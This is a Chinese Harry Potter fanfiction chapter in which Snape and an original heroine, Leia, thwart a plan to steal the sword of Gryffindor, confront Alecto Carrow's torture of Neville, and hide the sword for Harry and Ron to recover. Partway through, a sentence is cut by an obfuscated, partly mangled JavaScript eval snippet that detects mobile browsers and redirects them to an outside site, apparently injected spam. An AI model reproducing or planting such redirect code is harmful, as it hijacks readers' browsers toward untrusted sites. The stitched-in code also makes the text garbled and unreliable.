与马尔福庄园毫无生气、粘稠如墨的寒夜完全不同,霍格沃茨夜晚的礼堂,即便在这种灰霾时刻依旧过分璀璨,就像是在迫切的让人感受到光明那样。魔法变幻出的星幕宛如无垠天际挂满的点点灯盏,与他一同守护着面前这些也如星宿般,微弱而坚定地绽放着希望光辉的一切。 斯内普下午刚从马尔福庄园回来,是他的主人极度愤怒地命令他把格兰芬多之剑带过去。他沉默着将那把假的格兰芬多之剑交给那个丑陋的怪物,而后才从其他食死徒那里得知,哈利·波特今晚出现在戈德里克山谷。一直在那里佯装成巴希达·巴沙特守株待兔的纳吉尼,被赫敏·格兰杰的爆炸咒炸伤。 但斯内普察觉得出来,令伏地魔如此生气的是比纳吉尼受伤更严重的事,不然他不会如此突然要斯内普交出格兰芬多之剑。那么,斯内普更加确定雷格纳的猜测是对的,哈利·波特获得了至少一个魂器,并且得知摧毁魂器的办法。 他感觉长久浸在窒息般黑暗中的心肺,突然灌进了一点微弱的氧气。 此时,斯内普坐在教师席上,在满脸忧虑的麦格和正在不动声色监视着学生的卡罗兄妹中间。他略微调整着坐姿,也终于决定将那块索然无味的烤鸡放回盘中。跟往常一贯,他习惯性地以冷若冰霜的视线扫过底下的长桌。先是从斯莱特林开始,他缓缓掠过那些压抑着谈话的学生们,最终,眼神落在另一侧格兰芬多的长桌上。准确地说,是停在了那正与金妮说着话的黑发学生身上。 他不动声色地注视着她,看她的长发平顺地垂在灰色的毛衣后方,看她叹着气摇头,看她的神情从紧绷逐渐放松,看她最后微笑地抱住了沮丧的金妮。片刻后,他又看见她将左手垂在桌子底下,低着头拉高了灰色毛衣的袖口。那白皙左手腕上的银手环,也有星光一样的夺目。 随即,他感到左手腕上有阵轻微的热感。 今天的晚餐,甜到发腻的苹果派,豌豆沙拉,烤马铃薯,以及看起来挺香吃起来没有味道的烤鸡。斯内普校长刚刚宣布完今年的霍格沃茨不会有任何圣诞节活动后,在礼堂压抑的寂静里,蕾雅发现金妮和纳威的心思已经飘到别的地方。 是的,她听着他们先是讨论着由丽塔·斯基特的新书《阿不思·邓布利多的生平》,而后不知道怎么的,话题从邓布利多的生平一路转到邓布利多遗嘱里留给哈利的格兰芬多之剑。更令蕾雅震惊的是,这两个人正在认真讨论怎么将格兰芬多之剑从校长室里偷出来。 “我觉得完全可行。”金妮从奶油浓汤里抬头,斩钉截铁地对纳威说道。 “我没问题。”纳威咽下嘴里的烤鸡肉,更加斩钉截铁地回答她。 蕾雅本来只当做是个玩笑,此时才惊觉到这位勇敢无畏的韦斯莱是认真的,一种毛骨悚然的寒意顿时从她背脊弥散而出。她吓得连忙抬手在他俩面前摆了摆,迅速抽出魔杖,桌子底下偷偷施一道闭耳塞听咒,轻声问道:“你俩不会是真的打算这么做吧?” “当然,本来格兰芬多之剑就是邓布利多留给哈利的。”金妮说,“你要跟我们一起吗?” 蕾雅沉默片刻,想起来这几个月斯内普一直在寻找机会把格兰芬多之剑交给哈利。如果金妮他们真的将宝剑偷走,那是真的会破坏邓布利多和斯内普原本的计划。她在心里暗中叹一口气,意识到自己需要让金妮放弃这个计划。 于是,她决定暂时跟上他们的思路,回答道:“当然,我怎么可能不参加。”她顿了顿,假装好奇地问道:“可是,我们要怎么进去呢,我们根本不知道校长室口令呀。” “其实我今天差点就溜进去了,”金妮转过来,有些得意地看着蕾雅,“斯内普出去了一个下午。我相信,还会有下一次机会的。” “呃,溜进去?”蕾雅愣住一瞬,没想到这位红发少女可真的是一位行动派。还真谢谢金妮今天没把剑偷出来,不然今晚自己和斯内普恐怕不得不变成找剑之旅了。 蕾雅扔下那块实在难以下咽的鸡胸肉,试图说服金妮:“这太冒险了,万一他抓住我们呢?而且校长室里都是那些校长的画像,进去肯定会被看见啊!到时候要么要命,要么退学,哪一个都不行啊。” “我都明白。”金妮却难过地摇了摇头,“可是——我必须为他做点什么啊!这么久了,我们一点哈利的消息都没有,他一定也在找这个剑。” 蕾雅的心里不得不佩服金妮的洞察力,她到底是怎么想起来哈利会需要格兰芬多之剑的?她舔舔嘴唇,换了一个说法:“我知道你很担心他,但你想——就算我们拿到了剑,我们又怎么知道哈利他到底在哪里?” 这句话显然把金妮问住了。她放下汤匙,将手里的奶油浓汤推开,手撑在桌子上托起腮,嘟囔着:“等我们拿到剑了,总有办法。” 蕾雅心情凝重地直视金妮满带决心的脸,其实心里很不愿意去浇灭她的这种热情。说实话,她自己又何尝不是一直在努力,希望能为斯内普做些什么呢? 正当她这样想着时,忽然背后涌起一股奇异的感觉,就像是有人在盯着她。然而,那种视线并没有敌意,而是守护般的关注。 她晃晃脑袋,大脑思考一阵,把目光重新重新放在金妮身上:“你有没有想过,既然邓布利多决定给哈利留了剑,他一定会预料到哈利会有获得剑的办法。那可是邓布利多。” “比如说?”金妮偏过头来,用眼角瞄她一眼。 “比如说……”蕾雅一时语塞。 这时,纳威刚好将盘里的食物解决完毕抬起头,嘴边还挂着烤鸡的油腻,嘟囔着说道:“比如说,本来格兰芬多之剑的传说那样,有需要的时候就会出现?” “是啊!”蕾雅顿时向纳威投去感激的眼神,点着头顺手给他递了一块餐巾,“我们也许根本不需要去偷。” “好吧。”金妮有些不高兴地叹息一声,失落地垂下头,顿时失去了所有的兴致,“或许你们是对的。” 蕾雅对这位垂头丧气的韦斯莱投去一个抱歉的笑容,很快探出手去给了她一个安慰性的拥抱,轻声说道:“我理解你,我也同样很担心。” “你为什么总能这么冷静呢。”金妮在她怀里呢喃一句。 “我不是冷静。”蕾雅轻轻抚着她火焰般的长发,又拍了拍她的后背,温柔地说道:“我只是,不想看到任何人再受伤。” 就在说话的间隙里,蕾雅越过金妮的肩膀向后望去,正好就对上那双深邃的黑眸。原来身上一直被人看着的那种感觉,竟然是来自教师席。 是他在看她。 蕾雅放开金妮,对她牵了一个更明亮温和的笑容,低语道:“我相信还有其他我们能做到的事。”随后,她顺手拿了一盘刚刚浮现在长桌上的布丁,放在金妮面前,“吃点甜的,好好想想。” “好吧,谢谢。”金妮低低地应了一句,拿起银色的小勺子挖开布丁。 蕾雅将闭耳塞听咒取消后才低下头,在几近无声的礼堂里稍稍拉起垂在桌下的衣袖,看向自己的手腕。 「校长,有什么事吗」 「注意你们的动静」 「谢谢您,其实我刚刚替您消灭了一个偷剑的计划」 「解释」 「金妮纳威,格兰芬多之剑,您的校长室」 「那么,我该感谢你吗」 她差点没忍住笑,侧过脸瞥了一眼教师席,装作已吃完晚餐的样子,和金妮、纳威一起站起身来。转身离开时不忘微微一笑,她知道斯内普看得见。 真奇怪,这种感觉从什么时候开始的呢? 他好像有点跟以前不一样了。 但是这并不会让在霍格沃茨的日子更好过一些。因为比起今年霍格沃茨没有圣诞活动更令人失望的,一定是圣诞假期前最后一节课——阿莱克托·卡罗的麻瓜研究课。 一如既往,卡罗弓着背,那张扭曲的脸上长满了比乌姆里奇还要让人讨厌的丑陋。她用那双小得宛如绿豆的眼睛,鬼鬼祟祟地在昏暗的教室里扫视着。她一边踱来踱去,一边孜孜不倦地数落着“麻瓜的罪行”,把麻瓜比喻成屠宰场里的猪,应该由高等巫师来决定它们的命运。 “麻瓜从未对我们有任何贡献。他们又脏又蠢,不过是行走的废物,不值一提的——垃圾。”阿莱克托的声音尖锐刺耳,像乌鸦的鸣叫,“所以,我们该感激黑魔王的存在,是他带领我们重建了正常的秩序。” 课上是有不少麻瓜出生的学生。整整一个学期下来,蕾雅注意到他们的头垂得越来越低,就好像,就好像真的就等着卡罗定夺他们的罪般。 蕾雅越听越难过,想到自己日日夜夜为专业默默钻研的母亲。想到那一点一滴拼凑出来的知识长河,那一砖一瓦堆砌出来的宫殿堡垒,又怎么会是“又脏又蠢”?又怎么会是“废物垃圾”?人类的历史,何尝不是巫师和麻瓜一同建立起来的? 越想着,愤怒感从腹腔里慢慢累积起来,心里想要反驳的情绪也愈来愈多。仿佛是回应了她心声般,身后的纳威突然踢开椅子,砰地站了起来。 “你所谓的正常秩序,难道是要将麻瓜们统统杀光吗?”纳威说得很平静,蕾雅转过身去,却正瞥见与那平静声音完全不匹配的,攥成拳头的双手。平日和善的脸上此时也满是愤怒和不甘。 阿莱克托的眼睛陡然眯起,带着阴险的寒光。她慢慢转身,直视着纳威,语气中充满了蔑视和威胁:“隆巴顿,你说什么?” “我说,你错了。”纳威毫不退让,字字铿锵地说道:“如果你所说的建立秩序是意味着杀人,那我不能同意。麻瓜并不劣等,他们和我们一样有尊严,也值得尊重。” 教室里的空气瞬间变得沸腾,压抑已久的学生们开始窃窃私语,不少人都向纳威投去赞同的眼神。 “我不记得我是这么说的,隆巴顿。”阿莱克托的脸色迅速变得铁青,“而且,我更不认为我们应该对那些渣滓报以任何尊重。”她的手缓缓地捏紧了她手里的魔杖。 “你不是这么说的吗?”纳威瞪着眼睛,“那我想问,你和你哥哥手上沾了多少麻瓜的血?!他们又做错了什么?” 完了。这堂课肯定是难以善终。 蕾雅心里一紧,几乎是没有任何犹豫,拉起衣袖传去一条讯息后将魔杖轻轻抽出来按在手里。 “做错什么?他们的存在就是罪恶。”卡罗的嘴角拉出一个阴毒的笑容,手中的魔杖魔杖已高高举起,“看起来,你还不清楚自己的位置,隆巴顿。我很乐意帮你记住。” 纳威毫不畏惧,背挺得直直的,一点也没有退缩。他知道会发生什么,但他没有后悔。 “钻心剜骨!”卡罗尖叫着,绿色的光芒猛地从魔杖尖端射出,直接击中了纳威的身体。他无法控制地倒了下去,额头狠狠撞在了课桌边缘,鲜血顺着脸颊流下。蕾雅担心地看过去,纳威躺在地上,全身忍不住地抽搐,紧咬的牙关在颤抖,却一点声音都没有发出。 课上的学生们都按捺不住骚动起来,而卡罗则像是在悠然地欣赏着纳威的痛苦一般,慢悠悠地走向他的身边,魔杖丝毫没有停止的意思,甚至——蕾雅瞪大了眼睛,她还想要给他再施一次咒语。 不! 蕾雅不再犹豫,手指在书桌底下迅速捻着魔杖,对准卡罗使了一发无声咒。 顷刻间,卡罗的魔杖被击飞,重重敲在一侧的高窗上。钻心剜骨的咒语随之停止,纳威彻底瘫倒在地上,喘气声急促而紊乱。卡罗怔了一下,倏地别过头,是想看清楚到底是谁攻击了她。但她更愤怒地发现,这个时候教室里已有过半的人都伫立着,手中的魔杖齐齐指向她。 “谁做的?!”卡罗的笑容即刻冻结,阴险的怒火在她眼中燃烧:“你们这是想做什么?!” 教室陷入死一般的寂静,没有一个人说话,也没有一个人放下魔杖,只有纳威虚弱的喘息回荡在沉重如水雾的空气中。 “你们以为我不敢对所有人下手吗?!”卡罗怒吼一声,脸变得更可憎。 就在这无声漫长到时间停止般的对峙间,突然,教室的门被砰的一声狠狠踹开。 随后,是一声威严而令人心生畏惧的嗓音:“我命令你们立刻放下魔杖!” 所有人都惊恐地回过头,更震惊地注视着站在门口的身影。斯内普就在那里,一身黑袍如同纠缠成团的乌云,身上带着一种即将倾斜出狂风暴雨般的气场,仿佛下一瞬就将整个教室猛然掀起,席卷吞没。 “斯内普?!你为什么在这里。”在背光的阴影中,卡罗脸上的表情 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蕾雅扯了扯嘴角,故意用沾了白鲜药水的手指戳了戳纳威额角的伤口:“还说呢!说好的‘聪明地反抗’呢?” “我忍不住啊,”纳威被药水刺激得龇着牙,带着几分无奈地嘟哝着:“她实在太过分了。” 不过,要真的把卡罗折磨一圈,会怎么样呢? 霍格沃茨那么多的学生团结起来,尤其是那些经过邓布利多军训练的学生,再加上麦格教授他们,如果一起战斗的话,卡罗兄妹真的能应付得了吗? 这么一想,蕾雅突然觉得刚刚斯内普救下的,分明是卡罗而不是纳威啊。 …… 校长室里,蕾雅将最后一瓶熬制好的白鲜药水小心地塞进木箱,转过头看向似乎是刚回来不久,就又坐在桌前处理文件的斯内普:“所以,他真的叫你们过去了吗?” 斯内普稍稍颔首,随即放下手中的羽毛笔,神情难堪地看着蕾雅,不忍般斟酌着开口:“明天,他们会在列车上带走洛夫古德。” “您说什么?!”蕾雅惊呼一声。她踱到斯内普的办公桌前,认真地盯着沉在黑发后面的脸,宛如确认般问道:“带走卢娜?!为什么要带走她?” 斯内普叹了一口气,从他手边的一堆文书里抽出一本看起来花花绿绿的,轻轻放在蕾雅的面前。 “《唱唱反调》?”蕾雅拿起杂志。 她翻开几页,立刻就明白原因了。卢娜的父亲,谢诺·洛夫古德,在头版公开支持哈利,并呼吁所有反对神秘人的巫师们都应该把帮助哈利·波特放在第一位。 “这……”蕾雅也跟着斯内普叹了一口气,将杂志合上放回斯内普手边的那叠资料,“他们以为,抓了卢娜就能阻止她的父亲写这些是吗?” “显然。” “那……”她鼓着嘴望向斯内普,想问斯内普有没有办法能避免卢娜被带走。 但还没等蕾雅想好要怎么开口,室内忽而响起了一声低沉的咳嗽。鉴于实在不太像是斯内普发出来的,她错愕地与同样疑惑地抬起头的斯内普对上目光。 “呃,校长。”两个人一同向声源看去,发现原来是校长室墙壁上挂着的菲尼亚斯·奈杰勒斯·布莱克在说话。 画像上面是个身形瘦削的男人,留着夸张的山羊胡须,身上穿着华丽的斯莱特林服装,银绿相间,十分耀眼。让蕾雅不禁想象起来,面前这个常穿黑袍的前斯莱特林院长要是也换上这样的装束,会是什么样子。 “校长!”菲尼亚斯又开口了,他的声音像他那夸张的胡须一样带着几分滑稽,“他们在迪安森林扎营了!就是那个男孩,还有那个泥巴——” “别用那个词!”斯内普低吼一声,打断菲尼亚斯的话。蕾雅也被吓了一跳,她从来不知道斯内普竟然还会因为这个生气。 “呃,好吧。那个格兰杰小姐,她打开魔法口袋的时候提了一下。”菲尼亚斯不情愿地改口道。 “我知道了。”斯内普冷冷地答道,旋即将手上的东西都放下,站起身。 “他们?”蕾雅后知后觉过来,菲尼亚斯说的是哈利他们。 斯内普没有给她任何解释,而是大步踱到邓布利多的假画像前,修长的手指轻轻划过画像的边缘。蕾雅怔怔地盯着画像缓缓向前抬起,后面竟是一个隐藏的空间。斯内普探出手,随着金属剐蹭声,一把光辉四散的宝剑出现在他的手中。 “格兰芬多宝剑!”蕾雅小小地叹了一声,眼里都是惊讶:“您现在要去送给他们了吗?” 斯内普好像才反应过来她还在这里,偏过头来对她说:“是,你回去吧。” 他将剑收入施展过无痕伸展咒的魔法口袋里,转身从一侧的衣架上拿起旅行斗篷。 然而,蕾雅已走到他的身边,恳求般抬起头:“我跟您一起去。” 斯内普愣了一下,压低声说道:“我不认为这是个明智的请求,莱恩哈特。” “我……只想确认他们还好,哪怕就一眼。”蕾雅的脸上有很重的担忧,语调里也带着隐隐的不安与哽咽,“我保证完全听从您的指示。” 斯内普静静地端详她一阵,忽然就想起来前几天在礼堂晚餐时,看见她与金妮温暖的拥抱。蓦地,本来冷漠平淡的心海里不自觉地泛起一点微波。 算了,送剑而已,又不是要带她去战场。 终于,他无奈地闷哼一声,朝她递来钢笔,说道:“我们先去你家。” “好。”她顺从地将手扶了上去。 “门托斯。” 下一刻,他们停在莱恩哈特家的玄关里。 家里是一片静谧的黑,是雷格纳已经休息了。蕾雅轻轻挥动魔杖,屋内的灯光柔和地渐渐亮起,微弱暖黄的光线映照出他们两人的影子。 “上去拿点衣服。”斯内普说。 蕾雅点点头,踢开鞋子就跑上一侧的楼梯,但还没踩上第二阶,她似乎是想起什么般回过头:“校长,哈利他们露营很久了吧?我们要不要把厨房冰箱的食物带一些?比如面包、火腿什么的。” 斯内普略一挑眉,没有回答她,只是默默地脱掉皮鞋踩进屋内,径直向厨房走去。 52.宝剑 一幻影移形到达迪安森林,蕾雅就感觉自己差点被摇曳的狂风卷走。 呼啸的寒风吹的睁不开眼,只觉得如同一片片利刃一样割在脸颊。她的斗篷被翻腾得高高卷起,脚下的积雪因强风的扑打变得松软不堪。就在她快要被狂澜推耸得差点往后倒下的瞬间,斯内普的手稳稳地扣住了她搭在他手臂上的手,用力将她往前一拉。 “站稳。”斯内普的声音比得过这凌冽的寒风。他好像丝毫不受风的影响,身体直挺得如同一座山峰般稳固。他右手中的魔杖轻轻一晃,立刻在他们身边升起一圈防护罩,把猛烈的风雪暂时隔绝在外面。紧接着,他在她身上砸下一道温暖咒。 目及之处皆是无尽的白,白色的雪,白色的风,白色的树林与天地,所有的一切都白得浑然一体,仿佛再也没有了轮廓。这里,完全与莱恩哈特家的温柔雪夜完全不同,是锋芒毕露,是萧瑟冷冽,是宛如世界最冷酷尽头的荒原。她忽而觉得,唯有斯内普,是她在这冰封苍茫世间里唯一坚固的锚点。 “谢谢。”蕾雅努力稳住身体,朝他靠近一些,轻声问道:“他们在哪呢?” 哈利他们一直在这种冰天雪地里露营?她担心地想到。 “放心,凤凰社的守护神总能找到哈利·波特。”斯内普沉稳的话语让蕾雅莫名感到安心。他用眼角不经意扫过她的脸庞,抬起手腕,在山坡上轻轻唤道:“呼神护卫。” 随着他的魔杖动作,晶莹的银色牝鹿跃动而出,像一道穿越白雪与风霜的皎洁月光。小鹿用透亮的瞳孔凝视着他们一瞬,蹄子稍曲着微微一鞠,随后蹦入茫茫树林间。它身后洒落的银色魔法光芒擦过纯白的大地,轻盈得仿佛不染尘世。 斯内普没有再说话,径自往牝鹿引导的方向迈开脚步。蕾雅紧了紧厚厚的围巾,把脸埋在柔软的布料里面,跟着斯内普一步步踩在漫过脚踝的积雪里朝林间走去。 脚下的积雪被踩得咯吱作响,从山坡上下来进入树林以后,风雪小了许多。两个人穿进黑蒙蒙的树林里,斯内普不时挥动魔杖清理着道路。蕾雅看着地面上的雪渣被削得四散飞扬,道路两边树底下堆起来的积雪快要比她更高,远处不时传来厚雪将树枝折断的凌厉声音,将这座森林映衬得可怖了几分。 “那,您要直接把剑给他们吗?”蕾雅试探性地小声问道,但一想到哈利对斯内普的敌对态度,肯定不会安然接受由他送来的宝剑,她又立刻改口:“还是……我去?” 可是他们肯定会问蕾雅为什么会在这里,又肯定会问为什么她会拿着格兰芬多宝剑。 “我想你还记得那个传说吧。”斯内普冷冰冰地说,继续往前走着。 “真正的格兰芬多会在需要的时候获得它?”蕾雅注意跟着斯内普踩过的路,避免会因为踩到软雪里而陷进去。 “没错。”他顿了顿,随手将正前方拦路的积雪打散,讥讽说道:“邓布利多一开始就没打算直接把剑送给他,而是要让波特自己发现它,依照那个荒谬的传说——” 话没说完,斯内普的眼睛已经移到另外一侧。蕾雅顺着望过去,看到那里有一个林中湖安静地躺在层层粗黑树干的环抱中。湖面上,冬夜的雪尘被风吹拂得宛如轻纱般掠过,远远看去,玲珑幻美得像是童话里精灵栖居的世界。 她跟着他踏过厚厚的积雪,穿过参差的树干,来到湖边上。 “好美。”蕾雅不由地靠近湖面。 湖面已经全部结冰了,薄薄的冰层透出淡薄柔和的银辉。斯内普站在她身后,默默看着蕾雅走出了他的防护罩,踩在湖面的冰层上。洁白的雪花轻轻将她笼罩起来,慢慢地落在她的围巾上,将围巾上的格兰芬多的格纹衬得格外显眼。不过还没等她再往前迈出几步,斯内普就看见她脚底倏地一滑。几乎是本能反应,他伸出手去扶住她。 “啊,谢谢!”蕾雅偏过脑袋,不好意思地说道。 斯内普不耐烦地瞥了她一眼:“回来,别再乱动。” “抱歉。”她答道,重新走进他的防护罩范围,又若有所思地抬头,“我们把剑沉到这湖里吗?这鬼天气冬泳可确实是需要很多格兰芬多精神。” 斯内普被她的话引得冷笑了一声,声音比这结冰的湖面还要冷上不少:“记得以后跟波特说是你出的主意。” “啊——”蕾雅不满地皱皱鼻子,“我才不会告诉他。”明明是你先看中这个湖的!后半句她倒是没敢说出口。 蕾雅话刚说完,斯内普就已经挥动着魔杖,嘴里念动着热气咒的咒语——霎时,有炽热的气流扑面而来,整个湖面立刻被蒸腾炎热的气息覆盖。冰层在氤氲滚烫的雾气里悉数融化,重现变成一汪清澈的湖水。 斯内普右手轻捻魔杖,左手从魔法口袋中抽出格兰芬多之剑。剑身的银光凛冽如白霜,锋利沉静。而剑柄的红宝石却在皑皑白雪中绽出灼灼光华,如同一朵盛放的火花般热烈明艳。只见这位前斯莱特林的院长手持格兰芬多之剑静默于湖前,微风吹起他的黑色斗篷,袍角微掠过湖边的积雪,倨傲不羁得让蕾雅心中涌起许多震撼。 怎么,他好像跟格兰芬多还挺般配的。 斯内普往前走了一些,迎着飞扬的雪尘施展漂浮咒。宝剑被缓缓移到湖中央,在空中悬浮一瞬,随后沉入了湖底,渐渐隐没在幽黑冷冽的湖水中。 “把湖面重新冻上。”斯内普回头对她说了一句,似乎是不想浪费任何训练的机会。 “Glacius!”蕾雅没有迟疑,直接抽出魔杖打出一发冻结咒。 顷刻间,伴随着刺耳的噼啪声,所有的湖水都重新糅合成一整片光洁无瑕的冰面。只从湖底隐约透出十字架般的宝剑辉光,像是一件冻结于时间中的宝物,十分绚丽神秘。 斯内普从魔法口袋里拿出那两袋食物,放在湖边上,而后带着蕾雅走向树林边的高地。那里有两棵并排生长的山毛榉树,粗壮的树干为他们提供了完美的掩护。在树干后面,他先以吹雪隐藏身后的脚印,便再次使用了守护神咒,魔杖尖蹦出的小鹿轻快地消失在湖对侧的树林中。 良久,无瑕的银色小鹿从湖对岸的黑色树林里探出灵动的小脑袋,紧接着,哈利那狼狈不堪的身影从茫茫雪夜中穿行而出,被小鹿引着走向林中湖的方向。 “噢,梅林——”蕾雅小小地吸了一口气,“他看起来好糟糕。” 斯内普没有回应,稍稍转动捻着魔杖的手腕,小鹿随着他的动作化作一缕烟雾,消失无踪。 哈利茫然地盯着小鹿消失的方向,过了一阵才想起来举起手中的魔杖照亮四周,随即注意到了湖边的食物和湖中的宝剑。他先是惊讶地怔在原地片刻,回过神后便警惕地环视四周,最终再次低头凝视着湖中的宝剑。 映着哈利魔杖的荧光闪烁,蕾雅看见了他脸上和手上的血污,他的衣服也破破烂烂,看起来完全不足以抵御这种深冬寒冷。蕾雅难过得胸中苦闷,是完全没有办法想象这四个月以来,哈利他们到底都在过一种什么样的日子。 就在这时,哈利在迷茫地踱步片刻后,终于回到了湖边,开始伸手脱下身上的衣服。雪越下越大,纷纷扬扬地在他周围飞旋,有一声猫头鹰的低嚎远远传来。哈利朝嚎声的方向顿住一瞬,赤脚走在雪地上面,像个决心赴死的勇士般举起魔杖,坚定地吼道:“四分五裂!” 巨大的爆响擦破了夜晚所有的寂静,刚刚凝结的湖面瞬间破成灰黑的大块浮冰。就在同一时刻,哈利将魔杖丢在地上,扑通一声跳入了入髓的冰水之中。 蕾雅的心揪成一团,感觉所有停留在脸上的雪花都化成炙热的眼泪。 “不忍心就别看。”斯内普察觉到她的情绪,说道。 “不。”蕾雅小声说道,“我知道他能办得到。” 斯内普低哼一声,也跟她一样凝神远望着哈利。 然而,时间一分一秒地过去,长到蕾雅觉得她也宛若浸没在透骨冰水里无法呼吸了,哈利也没有上来。 “哈利怎么了?”蕾雅焦急地看向斯内普,“他……不会出事了吧?”她的话音未落,脚步已经不受控制地朝湖边冲去。 但还没等她能移动任何距离,斯内普一把按住她的肩膀,将她稳稳地拽回原地:“冷静,格兰芬多。” 瞬间,有一阵比她还要迫切的脚步声在湖的另一头响了起来。是罗恩,那头耀眼的红发如同黑夜里骤然燃起的烈焰,他一边跑一边迅速甩下外套和背包,毫不犹豫地就直直地钻进深暗砭骨的湖里。很快,罗恩全身颤抖着将昏迷的哈利和宝剑一起带回岸边。 罗恩的手正颤颤巍巍地伸向哈利的脖子,用格兰芬多之剑轻轻挑开哈利脖子上的一样东西——一个吊坠盒。 “魂器。”斯内普低声道,“果然如此。” 蕾雅也认出了那个吊坠盒,正是她父亲曾提起过的乌姆里奇被哈利抢走的那件。 “你是不是疯了!”罗恩喘着气离开一些,忍不住对刚刚醒过来的哈利吼道。 哈利双眼瞪得大大的,摇摇晃晃地站起来,全身僵硬地盯着罗恩,好像不敢相信眼前的一切是真实地喃喃道:“……罗恩?” “真见鬼!”罗恩举着手中摇晃的吊坠盒转向哈利:“你怎么回事,伙计?你跳下去之前难道不知道先把它摘下来吗?” 哈利的注意力完全不在吊坠盒上,他牙齿在打架,伸着颤抖的手去摸索着岸边的衣服,他的声音微弱如丝:“是、是你?罗恩?真的是你?” “是我。”罗恩答道。 “是你,召唤出那头牝鹿吗?”哈利困惑地问,显然还没从惊讶中回过神来。 怎么回事?罗恩原来没他们一起吗? 蕾雅疑惑地侧头看了斯内普一眼,但对方依然沉默着观察眼前的一切。 “不是我啊?难道不是你的守护神吗!”罗恩反问道。 “我的守护神是牡鹿!你不会分不清楚牡鹿和牝鹿吧!”哈利有些好笑又好气地瞪了罗恩一眼。 听着两个人和好的过程,蕾雅才终于放松,笑着轻轻抹去眼角的湿意。心里想着他们的任务似乎已经完成。 “还没有。”斯内普好像看穿她的心声,低低地在她耳边说了一句。 果然,哈利在结束与罗恩的短暂拥抱以后,领着手持格兰芬多宝剑的罗恩走向一块巨大石头旁。他伸出已经冻得通红的手将磐石上方的积雪拂去,然后把吊坠盒正正地放在石头中间。 “我一打开它,你就刺向它。好吗?不能犹豫。”哈利严肃地说道。 罗恩的脸上有许多讶异,但依旧坚定地点了头。 伴随着哈利的嘶嘶蛇佬腔,吊坠盒猛地弹开。转瞬间,铺天盖地的黑烟从巨石上腾空而起,裹挟着整个湖面的漫天飞雪,迅速形成了更庞大浩荡的旋涡。寒夜不再静谧,深郁的阴霾带着无形的威压向四周急速扩散,那种令人发怵的寒气也渗透到斯内普和蕾雅的脚下。而后,湖面再也看不见了,一切都变成了浩荡不详的漆黑。 “……?!”斯内普眉心紧锁,迅速将身边人揽在身后,手中的魔杖快速施展出防护咒和幻身咒。 “神秘人?——”蕾雅紧张地从他背后探出半个脑袋,不自觉地揪住他斗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13702257|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 篷底下的长袍。 斯内普没有回答,整张脸都皱缩成一团,难以置信般凝视着如噩梦般吞噬一切的烟幕。 很快,伴随着一声金属撞击的爆裂声,激起巨大的震动摇晃着整个森林。紧接着,眼前的黑烟猛然一缩,随着那声巨响迸裂成袅袅的烟雾,消散了。斯内普神情严肃,仍紧盯着那片黑暗散去的地方,防护咒维持得丝毫不松懈。被揽在他身后的蕾雅,感觉到他的身躯紧绷如石,也几乎不敢呼吸。 就在那里,本来洁白无垢的雪地上散落了一地的吊坠盒碎片,哈利和罗恩惊恐地盯着破损的吊坠盒,宝剑哐当一声砸在无垢的雪地上,似是被抽走了全身力气。 哈利缓过神,微笑着伸手拍了拍罗恩的肩膀,说道:“走吧,赫敏在等你。你走后她哭了至少一个星期。你知道我爱她像是爱姐妹,是的,我以为你知道……” “对不起,”罗恩用那差不多结了冰的袖子擦了擦鼻子,看起来冻得可怜。 “你今晚差不多都补偿了,”哈利轻笑着说,“不仅救了我,还捞起了宝剑。” “这怎么听着这么伟大呢。”罗恩挠挠头,嘴角微微上扬。 哈利笑得更大声,许是很久没有这样开怀过了。 “他们……”蕾雅凝滞地看着眼前的一幕,忽而觉得心脏仿佛刚从悬崖边缘被拉了回来,“成功了?” 斯内普缓缓放开护住她的手,同时收起魔杖:“看来如此。” 空气中虽然还弥散着破碎瘆人的寒意,但一切渐渐都归于平静。 “对了,怎么这儿会有两袋食物呢?”罗恩边问着边捡起外套套上。 哈利思索片刻,答道:“肯定是那个召唤守护神并把剑沉到湖里的人留下的。你来的时候,没看到什么人吗?” “我刚刚是看到那边有什么东西在动,然后就看见你跳下去了!”罗恩的声音仍然带有一些惊恐。 斯内普和蕾雅在暗中默然不语地站了一阵,直至他们将食物、背包和宝剑都统统拿起,而后边说着笑边消失在对侧树林的深处。 “我们可以走了。”斯内普说。 蕾雅望着他们的背影,想象着三人重聚的喜悦场景,长长地舒了一口气,点点头道:“嗯。” 斯内普拿出通往霍格沃茨校长室的门钥匙,递给她。 两个人回到校长室的时候,时针已过凌晨两点,城堡早已在沉眠之中。 一到屋内,蕾雅身上的冰渣就在壁炉的暖流中纷纷化成湿润的水珠。斯内普走到一侧将旅行斗篷挂起,转头便注意到她埋在潮湿围巾里微微泛红的鼻尖。他随即召来家养小精灵,要了一杯温热的南瓜汁递给她。 蕾雅完全没想过斯内普还会做到这个程度,愣了愣,连忙微笑着道谢。接过来以后,她跟着他坐在壁炉前的沙发上,低头抿了一口温暖香甜的南瓜汁。 “所以现在是三个魂器被摧毁了,是吗?”她抬眸轻轻看他,“还有多少个呢?” 斯内普端起红茶喝了一口,瞥了一眼她凌乱湿润的额发,很快又看向别处:“我不确定,但灵魂不能被分裂太多次。” 日记本,戒指,吊坠盒,纳吉尼,波特本身。斯内普顺着话在心中盘算起来,至少已经有五个被确认,意味着剩下的也不会太多了。 “希望邓布利多先生快点醒来,也许他知道更多的线索。那我们或许也能帮上忙。”蕾雅喃喃道。 “嗯。”斯内普漫不经心地应道。 蕾雅把最后一点南瓜汁喝完,忽而想起了卢娜的事,她转向斯内普:“先生,出去前您说的那件事。” 斯内普知道她的所指,压着嘴角说道:“很遗憾,我不能阻止他们。” 还没等蕾雅再次开口,斯内普冷静地补充道:“我知道你要说什么,她不会有生命危险。” “真的?”蕾雅依旧有些不安,忐忑地用指尖扣着杯子的把手。 “真的。”斯内普用眼神肯定了回复。 “谢谢。”蕾雅感激地朝他笑了笑,“知道这个就好。” 话毕,她将喝完的空杯子轻轻放在茶几上,准备起身离开。 “等等。”蕾雅刚站起身,斯内普面无表情地开口道:“现在太晚了,明早再回去休息室。” 